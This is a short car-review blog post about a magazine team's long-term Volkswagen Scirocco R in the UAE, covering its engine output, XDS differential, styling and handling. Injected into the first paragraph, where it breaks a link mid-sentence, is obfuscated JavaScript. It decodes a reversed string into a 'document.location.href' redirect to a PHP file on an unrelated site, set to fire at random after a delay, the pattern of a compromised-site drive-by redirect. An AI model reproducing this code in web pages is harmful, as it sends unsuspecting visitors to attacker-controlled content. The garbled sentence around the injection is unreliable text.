The Management Fleet. Welcome to the VW Scirocco R

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The past three months have seen members of the crankandpiston team charging around Dubai and the UAE in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/scirocco/”>Volkswagen’s finest three door coupe. Well, we say finest. That was until this turned up. You see, the team at VW seemed to enjoy what we did with the slinky ‘Rocco and offered to throw the keys to their new, more hardcore version of said wagon our way. So welcome to the fray, Mr Scirocco R.

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This is the German manufacturer’s spiciest version yet of the Golf-based coupe. Running a hopped up version of the previous generation Golf GTI’s motor, the Scirocco R is popping 261bhp and 258lb ft to the ground through its front wheels.

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Sounds scary doesn’t it? However, you notice immediately the efforts that VW have made to cope with that extra power being channeled to the ground. First up in the control arsenal is XDS, VW’s electronic differential system, which makes a huge difference over the standard car.

Also thrown into the mix are a natty set of 19″ wheels, bigger anchors up front (painted gloss black) and other bits of fine German trickery. When it comes to the looks, smoked tail lights, a rear diffuser, new side skirts and a gorgeous front bumper (the only aspect of the standard car we didn’t like), give the car a very aggressive look.

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On the inside, some subtle interior tweaks include piano black finish on the fascia and a set of new sports seats.

So what’s it like then? Rapid sums it up. Not succumbing to AWD has kept its weight in check, and although the motor doesn’t set the neck hairs a tingling, there’s no denying the numbers being transited to the tarmac.

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What is really impressive is the Scirocco’s composure. Body control is excellent, the steering delicate, direct and provides a refreshing level of feedback.

So far the R is proving to be a terribly effective and refreshing machine, and we have a couple of months ahead of us to see just how good it is. Time to head out and hit the road.